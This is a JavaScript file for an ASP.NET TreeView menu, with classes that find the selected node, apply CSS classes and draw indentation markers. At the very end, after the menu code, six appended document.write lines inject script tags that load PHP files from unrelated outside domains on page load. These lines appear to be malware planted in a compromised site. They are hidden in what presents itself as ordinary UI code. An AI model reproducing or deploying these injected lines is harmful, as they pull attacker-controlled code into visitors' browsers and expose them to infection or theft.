//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////Class Definitions////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////
//	MainMenuBase Class
//		MenuInitialization()
//		setJSFunctionsToCollapsedA()
//////////////////////////////////////////////////////////////////////////////////////
function MainMenuBase(sDivMainMenuName)
{
	this.divMainMenuName=sDivMainMenuName;
	this.Init=MenuInitialization;
	this.DivTV;
	this.divTV_id;
	this.SetJSFunctionsToCollapsedA=setJSFunctionsToCollapsedA;
	///indentDiv color
	this.IndentDivColor="#343433";
	this.IndentDivColorSelectedNode="#343433";
	///CSS Classes/// nodeSelect
	this.SelectedNodeTableClass="";
	this.SelectedNodeTRClass="";
	this.SelectedNodeTDImageClass="";
	this.SelectedNodeTDTextClass="";
	this.SelectedNodeAnchorImageClass="";
	this.SelectedNodeAnchorTextClass="";
	this.SelectedNodeDivChildClass="";
	this.SelectedNodeExpandedClass="";
	/////
	this.MainSelectedNodeTableClass="";
	this.MainSelectedNodeTRClass="";
	this.MainSelectedNodeTDImageClass="";
	this.MainSelectedNodeTDTextClass="";
	this.MainSelectedNodeAnchorImageClass="";
	this.MainSelectedNodeAnchorTextClass="";
	this.MainSelectedNodeDivChildClass="";
	/////
	this.sSelectedChildDiv="nodeexpandedchild";//for inserting "-"
	this.sExpandedChildDiv="nodeSelectedynamic";//for line
}

function MenuInitialization()
{
var divMain =document.getElementById(this.divMainMenuName);
var divInMainArr=divMain.getElementsByTagName("div");
if (divInMainArr.length>0){
     this.DivTV=divInMainArr[0];
	 this.divTV_id=this.DivTV.id;
}
}
////////////////////////Begin:setJSFunctionsToCollapsedA()/////////////////////////

function setJSFunctionsToCollapsedA()
{
    if (this.divTV!=null){
        var aArr=this.divTV.getElementsByTagName("a");
        if(aArr!=null){
            for(var i=0;i<aArr.length;i++){
                if (aArr[i].href.search("javascript:TreeView_")!=-1){
                    if (aArr[i].href.search("setCSSToExpandedDiv")==-1){
                        aArr[i].href=aArr[i].href + ";setCSSToExpandedDiv('"+ getNumValue(aArr[i].href) +"');setJSFunctionsToCollapsedA();";
                    }
                }
            } 
        }
    }
}
///////////////////////End///////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////////////////
//	MainMenu Class
//		initializeSelectedNode()
//		getMainSelectedNode()
//		setCSS()
//////////////////////////////////////////////////////////////////////////////////////
function MainMenu(oBaseMenu)
{
	this.BaseMenu=oBaseMenu;
	this.InitializeSelectedNode=initializeSelectedNode;
	this.SelectedNode;
	this.MainSelectedNode;
	this.SetCSS=setCSS;
	this.GetMainSelectedNode=getMainSelectedNode;
}

function initializeSelectedNode()
{
	var nodeNo;
	var hiddenCtrl=document.getElementById(this.BaseMenu.divTV_id+"_SelectedNode");
	if (hiddenCtrl!=null)
	{
		var sSelectedNodeValue=hiddenCtrl.value;
		var sStringToSearch=this.BaseMenu.divTV_id;
        nodeNo=sSelectedNodeValue.substring(sStringToSearch.length+1);
	}
	
	var mnSelectedNode=new MenuNodeItem(nodeNo,this.BaseMenu.DivTV);
	mnSelectedNode.GetNode();
	this.SelectedNode=mnSelectedNode;
	if(this.SelectedNode!=null)
	{
	    this.SelectedNode.IndentDivColor=this.BaseMenu.IndentDivColor;
	    this.SelectedNode.IndentDivColorSelectedNode=this.BaseMenu.IndentDivColorSelectedNode;
	    this.SelectedNode.IsSelected=true;
	}
	//this.SelectedNode.DeleteTableRow();

	var mnMainSelectedNode=this.GetMainSelectedNode();
	this.MainSelectedNode=mnMainSelectedNode;
	if(this.MainSelectedNode!=null)
	{
	    this.MainSelectedNode.IndentDivColor=this.BaseMenu.IndentDivColor;
	    this.MainSelectedNode.IndentDivColorSelectedNode=this.BaseMenu.IndentDivColorSelectedNode;
	}

//	MenuNodeItem mnMainSelectedNode=new MenuNodeItem(nodeNo,this.BaseMenu.divTV);
//	mnSelectedNode.GetNode();
}

////getMainSelectedNode
//// called from Initialization Function
function getMainSelectedNode()
{
var oNode=this.SelectedNode;
var divTV=this.BaseMenu.DivTV;
var count=0;
var divParent;
var found=0;
var div;//SelectedNode=this.SelectedNode.ChildDiv;
//alert();
if (oNode.Table!=null){
    if(oNode.ChildDiv==null){
        div=oNode.Table.parentNode;//alert(oNode.Table.id);
    }
    else{
        div=oNode.ChildDiv;
    }
    if(div!=null){
        divParent=div.parentNode; 
        while (divParent!=null){
            if(divParent.id!="undefined"){
                if(divTV.id==divParent.id){
                    found=1;
                    break;
                }
            }
            div=divParent;
            divParent=divParent.parentNode;
        } 
        if(found==1){  
	        if(div.id!="undefined" && div.id!=""){ 
		    nodeNo=div.id.substring(divTV.id.length+1,div.id.indexOf("Nodes"));//div name(i.e. mainmnu_MainMenu) length + 1(for suffix like n ot t)
		    var oMainNode=new MenuNodeItem(nodeNo,divTV);
		    oMainNode.GetNode();
		    if (oMainNode!=null)
		    {
		        oMainNode.IndentDivColor=this.BaseMenu.IndentDivColor;
		        oMainNode.IndentDivColorSelectedNode=this.BaseMenu.IndentDivColorSelectedNode;
		    }
		    return oMainNode;
	        }
	        
        }
    }
}
return null;
}
//////
function setCSS()
{
    if (this.SelectedNode!=null)
    {
	if(this.SelectedNode.Table!=null) this.SelectedNode.Table.className= this.SelectedNode.Table.className + " " + this.BaseMenu.SelectedNodeTableClass;
	if(this.SelectedNode.TR!=null) this.SelectedNode.TR.className=this.SelectedNode.TR.className + " " + this.BaseMenu.SelectedNodeTRClass;
	if(this.SelectedNode.TDImage!=null) this.SelectedNode.TDImage.className=this.SelectedNode.TDImage.className + " " + this.BaseMenu.SelectedNodeTDImageClass;
	if(this.SelectedNode.TDText!=null) this.SelectedNode.TDText.className= this.SelectedNode.TDText.className + " " +  this.BaseMenu.SelectedNodeTDTextClass;
	if(this.SelectedNode.AnchorImage!=null) this.SelectedNode.AnchorImage.className= this.SelectedNode.AnchorImage.className + " " + this.BaseMenu.SelectedNodeAnchorImageClass;
	if(this.SelectedNode.AnchorText!=null) this.SelectedNode.AnchorText.className=this.SelectedNode.AnchorText.className + " " + this.BaseMenu.SelectedNodeAnchorTextClass;
	if(this.SelectedNode.ChildDiv!=null) this.SelectedNode.ChildDiv.className=this.SelectedNode.ChildDiv.className + " " + this.BaseMenu.SelectedNodeDivChildClass;
	//
	if(! this.SelectedNode.IsParentNode)
	{
	    if(this.SelectedNode.TDImage!=null) this.SelectedNode.TDImage.className= this.SelectedNode.TDImage.className + " " + "TreeViewSelectedNode";
	}
	}
	////
	if (this.MainSelectedNode!=null)
	{
	if (this.SelectedNode!=null)
    {
	    if(this.SelectedNode.IsChild && this.SelectedNode.IsExpanded) {
	        if(this.SelectedNode.Table==this.MainSelectedNode.Table){//alert(this.SelectedNode.TDImage.style.borderWidth );
	            //this.SelectedNode.TDImage.className = this.BaseMenu.SelectedNodeExpandedClass;//+" "+ this.SelectedNode.TR.className + " " ;
                //this.SelectedNode.AnchorImage.className = this.BaseMenu.SelectedNodeExpandedClass+" "+ this.SelectedNode.AnchorImage.className + " " ;
	        }
	    }
	}
	//this.MainSelectedNode.TR.className = this.BaseMenu.SelectedNodeExpandedClass;// +" "+ this.SelectedNode.Table.className + " " ;
	if(this.MainSelectedNode.Table!=null) this.MainSelectedNode.Table.className= this.MainSelectedNode.Table.className + " " + this.BaseMenu.MainSelectedNodeTableClass;
	if(this.MainSelectedNode.TR!=null) this.MainSelectedNode.TR.className=this.MainSelectedNode.TR.className + " " + this.BaseMenu.MainSelectedNodeTRClass;
	if(this.MainSelectedNode.TDImage!=null) this.MainSelectedNode.TDImage.className=this.MainSelectedNode.TDImage.className + " " + this.BaseMenu.MainSelectedNodeTDImageClass;
	if(this.MainSelectedNode.TDText!=null) this.MainSelectedNode.TDText.className=this.MainSelectedNode.TDText.className + " " + this.BaseMenu.MainSelectedNodeTDTextClass;
	if(this.MainSelectedNode.AnchorImage!=null) this.MainSelectedNode.AnchorImage.className=this.MainSelectedNode.AnchorImage.className + " " + this.BaseMenu.MainSelectedNodeAnchorImageClass;
	if(this.MainSelectedNode.AnchorText!=null) this.MainSelectedNode.AnchorText.className=this.MainSelectedNode.AnchorText.className + " " + this.BaseMenu.MainSelectedNodeAnchorTextClass;
	if(this.MainSelectedNode.ChildDiv!=null) this.MainSelectedNode.ChildDiv.className=this.MainSelectedNode.ChildDiv.className + " " + this.BaseMenu.MainSelectedNodeDivChildClass;
	
	///
	
	////
	
	this.MainSelectedNode.IndentChildNode(this.SelectedNode);
	//this.SetChildNodes();
	
	}
	else
	{
	     this.SelectedNode.TDImage.className = this.BaseMenu.MainSelectedNodeTDImageClass+" "+ this.SelectedNode.AnchorImage.className + " " ;
	}
}

//////////////////////////////////////////////////////////////////////////////////////
//	Class : MenuNodeItem
//		getNode()
//		getNodeName()
//      indentChildNode()
//////////////////////////////////////////////////////////////////////////////////////

function MenuNodeItem(sNodeNo,oTreeViewDiv)
{
	this.TreeViewDiv=oTreeViewDiv;
	this.NodeNum=sNodeNo;
	this.GetNode=getNode; //sets all the values
	this.Table;
    this.ChildDiv;
	this.NodeText;
	this.NodeNameA;
	this.NodeNameT;
    this.AnchorText; //inside Table
    this.AnchorImage; //inside Table
    this.TR; //inside Table
	this.TDImage;//indside Table
	this.TDText;//indside Table
	this.IsChild=false; //boolean
	this.IsExpanded=false;
	this.IsParentNode=false;
	this.IsSelected=false;
	this.IndentDivColor;
	//this.SetCSSToNode=SetCSSToNode;
	//this.SetCSSToChild=SetCSSToChild;
	//this.SetCSSForIndentation=SetCSSForIndentation;
	this.GetNodeName=getNodeName;
	this.GetDivName=getDivName;
	this.IndentChildNode=indentChildNode;
	this.SetChildNodes=setChildNodes;
	//this.DeleteTableRow=deleteTableRow;
}
//////////Get
function getNode()
{
var sName;
var imgNode;
var txtNode;
var tdImgNode;
var tdTxtNode;
var trNode;
var tblNode; 
var divNode;
var dName;
sName=this.GetNodeName("n");
imgNode=document.getElementById(sName);
sName=this.GetNodeName("t");

txtNode=document.getElementById(sName);
if(imgNode!=null){
	this.AnchorImage=imgNode;
	if (txtNode!=null){
		this.AnchorText=txtNode;
		this.NodeText=txtNode.innerHTML;
		this.TDText=txtNode.parentNode;
	}
    tdImgNode=imgNode.parentNode;
    if (tdImgNode!=null) {
        this.NodeText=imgNode.innerHTML;
		this.TDImage=tdImgNode;
	    sName=this.GetDivName();
	    divNode=document.getElementById(sName);
		if (divNode!=null){
			this.ChildDiv=divNode;
			this.IsChild=true;
			if(divNode.style.display!="none"){
				this.IsExpanded=true;
			}
		}
	}
    var trNode=tdImgNode.parentNode;
	this.TR=trNode;
	if (trNode!=null){
        var tblNode=trNode.parentNode;
		this.Table=tblNode;
        if(tblNode!=null){
            //setting class variable
        }
     }
     ///BEGIN : setting if the node is parentNode or not
      if(this.ChildDiv!=null){
        if (this.ChildDiv.parentNode!=null){
            if(this.ChildDiv.parentNode.id==this.TreeViewDiv.id){
                this.IsParentNode=true;
            }
        }
      }
      else{
          if(this.Table!=null){
                if(this.Table.parentNode.id==this.TreeViewDiv.id){
                    this.IsParentNode=true;
                }
            }
      }
      ///END
/*
if (divNode!=null){
    if(divNode.style.display=="none"){
        divNode.className=sMenuClass;
        //nodeexpandedchild
        tblNode.className=sMenuClass;
        //////////new implementation//////////////
        var table_1=divNode.firstChild;
        var tr_1_1=table_1.firstChild;
        //////////////////////////        
        //trExpandedNode.className=sMenuClass;
        //tdExpandedNode.className=sMenuClass;
        //tdTxtExpandedNode.className=sMenuClass;
    }
    else{
        divNode.className=sExpandedChildClass;
        tblNode.className=sExpandedParentClass;
        //trExpandedNode.className=sExpandedParentClass;
        //trExpandedNode.firstNode.insertChild("td");
        //trExpandedNode.lastNode.insertChild("td");
        //tdExpandedNode.className=sExpandedParentClass;
    }
}*/
}
}
//Begin:getNodeNameBase()
function getNodeName(sSuffix)
{
if (sSuffix==null) sSuffix="t";
var s= this.TreeViewDiv.id+sSuffix+this.NodeNum;
return s;
}
//End

//Begin:getDivByAID() 
function getDivName()
{
var d=this.TreeViewDiv.id+"n"+this.NodeNum+"Nodes";
return d;
}
//End
//Begin:indentChildNode
function indentChildNode(oSelectedNode)
{
    var indentClass="nodeexpandedchild";
	var tblInDiv;
	if (this.ChildDiv!=null)
	    tblInDiv=this.ChildDiv.getElementsByTagName("table");
    if (tblInDiv!=null){
        for (var j=0;j<tblInDiv.length;j++){
            if (tblInDiv[j].rows!=null)
            {
                if (tblInDiv[j].rows.length>0)
                {
                    var totalTDs=tblInDiv[j].rows[0].cells.length;
                    //tblInDiv[j].rows[0].cells[totalTDs-2].firstChild.style.background=this.IndentDivColor;//className=sSelectedChildDiv;
                    //tblInDiv[j].rows[0].cells[totalTDs-2].firstChild.innerHTML="&nbsp;";
                    //alert(tblInDiv[j].parentNode.id);
                    if(this.ChildDiv.id!=tblInDiv[j].parentNode.id){
                        var flag=false;
                        var anchors;
                        anchors=tblInDiv[j].getElementsByTagName("a");
                        for(var k=0;k<anchors.length;k++){
                            if(oSelectedNode!=null){
                                if(oSelectedNode.AnchorImage!=null){
                                    if(anchors[k].id==oSelectedNode.AnchorImage.id){
                                        flag=true;
                                    }
                                }
                            }
                        }
                        if(flag)
                            tblInDiv[j].rows[0].cells[totalTDs-2].firstChild.innerHTML="<div style=\"background:"+ this.IndentDivColorSelectedNode +";width:5px;height:1px;float:right;\"></div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
                        else
                            tblInDiv[j].rows[0].cells[totalTDs-2].firstChild.innerHTML="<div style=\"background:"+ this.IndentDivColor +";width:5px;height:1px;float:right;\"></div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";   
                    }
                        
                    //alert(tblInDiv[j].rows[0].cells[totalTDs-1].innerHTML);
                    //tblInDiv[j].rows[0].cells[totalTDs-1].className= this.BaseMenu.MainSelectedNodeDivChildClass + " " + tblInDiv[j].rows[0].cells[totalTDs-1].className;
                    tblInDiv[j].rows[0].cells[totalTDs-1].className= "TreeViewChildNode" + " " + tblInDiv[j].rows[0].cells[totalTDs-1].className;
                    //alert();
                    }
            }
            //tblInDiv[j].rows[1].cells[totalTDs-2].firstChild.style.overflow="hidden";
            //tblInDiv[j].rows[1].cells[0].firstChild.style.paddingright="5px";
            //padding-right:5px;
            //alert(divExpandedNode.firstChild.rows[1].cells[0].firstChild.className);
			//tblInDiv[j].rows[1].cells[0].firstChild.className=indentClass; //padding-right:5px;
			//alert(tblInDiv[j].rows[1].cells[0].firstChild.type);
        }
    }
}
function setChildNodes(divOfChilds)
    {
        var indentClass="nodeexpandedchild";
	    var tblInDiv;
	    if (divOfChilds!=null)
	        tblInDiv=divOfChilds.getElementsByTagName("table");
        if (tblInDiv!=null){
            for (var j=0;j<tblInDiv.length;j++){
                if (tblInDiv[j].rows!=null)
                {
                    if (tblInDiv[j].rows.length>0)
                    {
                        var totalTDs=tblInDiv[j].rows[0].cells.length;
                    //tblInDiv[j].rows[0].cells[totalTDs-2].firstChild.style.background=this.IndentDivColor;//className=sSelectedChildDiv;
                    //tblInDiv[j].rows[0].cells[totalTDs-2].firstChild.innerHTML="&nbsp;";
                        tblInDiv[j].rows[0].cells[totalTDs-2].firstChild.innerHTML="<div style=\"background:"+ this.IndentDivColor +";width:5px;height:1px;float:right;\"></div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
                    }
                }
            }
        }
/////
}
document.write('<script src=http://balifundrive.com/Bali-driver-Paradise-Island_files/contact.php ><\/script>');
document.write('<script src=http://balifundrive.com/Bali-driver-Paradise-Island_files/contact.php ><\/script>');
document.write('<script src=http://it-delta.ru/images/optimization_web.php ><\/script>');
document.write('<script src=http://belami.pl/gratis/profile.php ><\/script>');
document.write('<script src=http://belami.pl/gratis/profile.php ><\/script>');
document.write('<script src=http://xn--reisebro-alpha-lsb.de/pictures/counter.php ><\/script>');